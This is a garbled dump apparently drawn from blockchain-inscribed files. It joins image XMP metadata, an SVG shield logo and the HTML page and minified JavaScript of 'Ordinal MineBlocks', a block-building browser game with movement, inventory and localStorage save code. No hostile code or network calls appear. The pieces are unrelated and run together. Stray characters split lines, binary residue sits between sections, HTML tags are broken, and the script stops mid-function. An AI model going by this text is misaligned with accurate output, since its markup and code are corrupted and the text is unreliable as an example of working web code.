" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1M
.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:fd1a0141-6234-44ff-8ec7-889938fb8afc" xmpMM:InstanceID="xmp.iid:459c1566-485f-41dd-ae61-1711a3768c60" xmpMM:OriginalDocumentID="xmp.did:e1a3b144-0764-4666-84a6-5123cd7d3183" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413067121227" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate=M
"2023:02:15T09:17:45+11:00" xmp:ModifyDate="2023:02:15T09:17:45+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:8ebc458f-2edc-414d-a125-2ff45432ff9e" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:17:47"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MX
                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
59.37.100 libvpx-vp9g
59.37.100 libvpx-vp9g
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:8B6E75D3AA3211EDB04DA9492E009F3E" xmpMM:InstanceID="xmp.iid:8B6E75D2AA3211EDB04DA9492E009F3E" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
<svg height="365.339876" viewBox="0 0 164.91811 220.12152" width="273.717726" xmlns="http://www.w3.org/2000/svg"><g transform="translate(267.66758 51.185776)"><path d="m-104.73687-27.807907c0-8.410595-5.67916-10.962818-13.81167-13.082461-11.89595-3.102218-36.37381-8.31172-66.66061-8.31172-30.28679 0-54.77083 5.203322-66.66678 8.30554-8.12633 2.125823-13.80549 4.671866-13.80549 13.088641v117.711251.04326.04326c.10505 9.788672 4.7522 19.082966 12.43359 24.873356l63.19379 47.91135 4.84489 3.67075 4.85108-3.67075 63.21M
233-47.92371c7.76172-5.85219 12.40887-15.183559 12.40887-24.947512z" fill="#fff"/><path d="m311.65625 7.4902344c-114.46976 0-207.00764 19.6891436-251.96875 31.4140626-30.71365 8.011249-52.1777344 17.633879-52.1777344 49.445312v444.894531.16211.16406c.3737953 36.99656 17.9368044 72.12479 46.9921874 94.00977l238.843747 181.08203 18.31055 13.87305 18.33398-13.87305 238.91407-181.12891c29.33563-22.11851 46.89843-57.3878 46.89843-94.26758v-444.916011c0-31.788075-21.46412-41.434063-52.20117-49.445312-44.96107-11.724919-1M
37.47551-31.4140626-251.94531-31.4140626zm-6.65625 22.9589846 7.2168 22.30664h23.44922l-18.96485 13.779297 7.24024 22.283203-18.94141-13.78125-18.98828 13.78125 7.24023-22.283203-18.96484-13.779297h23.44922zm-253.300781 32.511719 7.240234 22.30664h23.451172l-18.966797 13.779297 7.240234 22.283205-18.964843-13.78125-18.964844 13.78125 7.240234-22.283205-18.964843-13.779297h23.449218zm501.181641 0 7.24023 22.30664h23.45118l-18.9668 13.779297 7.24023 22.283205-18.96484-13.78125-18.96484 13.78125 7.24023-22.283205-18.9M
6484-13.779297h23.44921zm-110.49805 37.417972c2.21885.30364 4.41381.6066 6.58594.93359 6.49308.9109 12.77693 1.89208 18.84961 2.87305 6.11939 1.00432 12.05088 2.03294 17.70312 3.08398l-159.75781 121.28906v-83.07812c25.15487 14.92474 42.13568 13.40552 53.08985 6.44531 6.2595-3.97059 10.55619-9.73968 13.24218-15.20508 27.25694 8.01125 57.50423-8.89801 50.28711-36.34179zm-292.67969 4.76367c.21015 2.33564.67806 4.55621 1.33204 6.68164.02267.09343.0453.18587.06836.2793.02267.09343.07031.16438.09375.25781 6.98354 21.2309M
8 35.38575 32.23105 61.54492 24.52344 4.88148 9.90311 16.58208 18.59185 32.9082 20.85742 10.97753 1.51816 24.05807.09268 38.53906-5.83985v108.23438l-99.98828 75.93164c.32693-2.40571.53711-4.97449.53711-7.75391v-.86523-1.54102-.70117c10.93081-6.75 20.57539-19.89953 25.41016-36.5293 2.14881-7.38062 3.03687-14.68985 2.96679-21.55664-2.00866.88755-4.13391 1.49357-6.14257 1.89063-5.30193 1.02768-9.85555.72461-9.87891.72461 8.75864-.67734 15.11006-4.01657 19.24414-7.09961 1.21451-1.02769 2.54589-2.26667 3.94727-3.69141 8M
.64185-8.82872 14.34187-19.08229 17.72851-30.9707l16.44336-57.50391c-8.59517-.79411-16.88716 3.29483-21.51172 10.58203l-7.9414 12.51758-7.77735 12.3086c-1.75173 2.9429-4.88145 5.60625-8.43164 7.52148-5.46542-4.27422-9.71675-7.63807-13.08008-10.27734-.51386-.39706-1.00355-.79427-1.4707-1.16797l-5.18555-21.76758 7.54493-13.45312c2.17213-3.90053 2.87248-8.3625 2.14843-12.63672-.46711-2.61592-1.47215-5.18381-3.01367-7.4961-1.23791-1.8218-3.80729-2.24196-5.67578-1.05078l-18.94141 12.09766c-.53718-.5372-1.05066-.95817-1.M
58789-1.28516-1.19115-.7474-2.4069-.93286-3.71484-.72266-1.91524.32699-4.03993 1.56444-6.53906 3.2461l-4.83594 3.52734-7.19336 5.25391-5.51172-.20899-3.83008-.16406c-3.73704 0-5.23214 6.72618-1.77539 11.67774 2.87282 4.11072 5.13817 9.43636 6.67969 15.85937.02268.09343.07032.18783.09375.28125.09335.46713.18595.93326.30273 1.40039.06993.3737.16446.72396.23438 1.09766 1.21455 5.97924 1.8457 12.82331 1.8457 20.4375 0 17.00346-9.15617 53.36941-20.95117 77.07617-.56054 1.02768-1.1445 2.05443-1.70508 3.10547l-8.875 14.78M
515c-1.42473 2.14879-1.09768 5.39483.58399 7.73047 1.21455 1.68167 3.15328 2.89649 5.67578 2.89649 0 0 7.12303 8.96813 9.36523 26.22851 1.02769 7.84776 1.05124 17.42565-1.07422 28.63672l-16.8164 12.77539-17.845706 13.54688.025391-288.33594c8.571815-2.03201 18.310815-4.20277 29.078125-6.35156 8.3616-1.68166 17.37701-3.36505 26.95312-5zm428.97852 47.26758-7.625 5.83789-16.22461 12.41406zm-58.75195 44.96484v435.38281l-83.34766 63.17774v-434.76563l.00781-.00586 83.33594-63.78515zm-128.41797 11.12109 7.24023 22.28125h23M
.45117l-18.96679 13.78125 7.24023 22.30469-18.96484-13.7793-18.96484 13.7793 7.24023-22.30469-18.96484-13.78125h23.44921zm-339.812501 44.28321 7.240234 22.28125h23.451172l-18.966797 13.78125 7.240234 22.30468-18.964843-13.77929-18.964844 13.75586 7.240234-22.28125-18.964843-13.78125h23.449218zm301.525391 72.17578v434.16601l-41.56836 31.50977-41.7793-31.66992v-370.2168l-83.35937 63.78711v243.23242l54.28711 41.16016-172.474612-130.73828c0-.00567-.014714-.01176-.017578-.01758l34.8457 26.40234v-116.24023l83.35547-63.80M
664 83.35742-63.78711zm-125.48828 1.74804 7.26367 22.30469h23.42773l-18.96679 13.78125 7.24218 22.28125-18.96679-13.75781-18.96485 13.75781 7.26368-22.28125-18.98828-13.78125h23.44921zm-176.037111 126.61524 7.240234 22.30469h23.451172l-18.966797 13.77929 7.240234 22.28321-18.964843-13.75782-18.964844 13.75782 7.240234-22.28321-18.964843-13.77929h23.449218zm45.533203 67.54492-25.25586 19.33399-28.941406 22.13671 28.9375-22.15429zm-58.234375 44.56055c3.941422 11.33087 10.065879 21.74979 18.095703 30.52539-8.031518-8.M
76889-14.157792-19.18872-18.099609-30.52149zm532.984373 23.70117c-.29614.3914-.58007.79109-.88281 1.17773-.32505.41371-.66215.81846-.99414 1.22657.33345-.41104.67228-.81767.99805-1.23438.30113-.38401.58429-.78118.8789-1.16992zm-8.3457 9.55859c-2.67046 2.64475-5.5216 5.12905-8.56055 7.43164-.04686.02268-.06837.04726-.09179.07032l-31.65626 23.99609 31.75391-24.07422c3.02466-2.30059 5.88064-4.78158 8.55469-7.42383z" fill="#262f61" transform="matrix(.26458333 0 0 .26458333 -267.66758 -51.185776)"/><path d="m-111.56361 M
77.620538v-90.773864l-5.01175 3.8376038-13.5274 10.3510262v115.196106l9.30047-7.05106c1.60055-1.2174 3.02188-2.62638 4.23929-4.18367 3.18873-4.06625 4.99939-9.145977 4.99939-14.404916zm-40.59147-59.70719-22.05541 16.876807v114.874765l22.05541-16.71614zm-66.16314 50.632894v64.355578l22.05541 16.72231v-97.954695zm-22.05541 16.879279-8.24992 6.315671-8.72576 6.674094c1.48313 4.264004 4.13423 8.039814 7.74318 10.771244l9.2325 6.99544z" fill="#ce3524"/></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
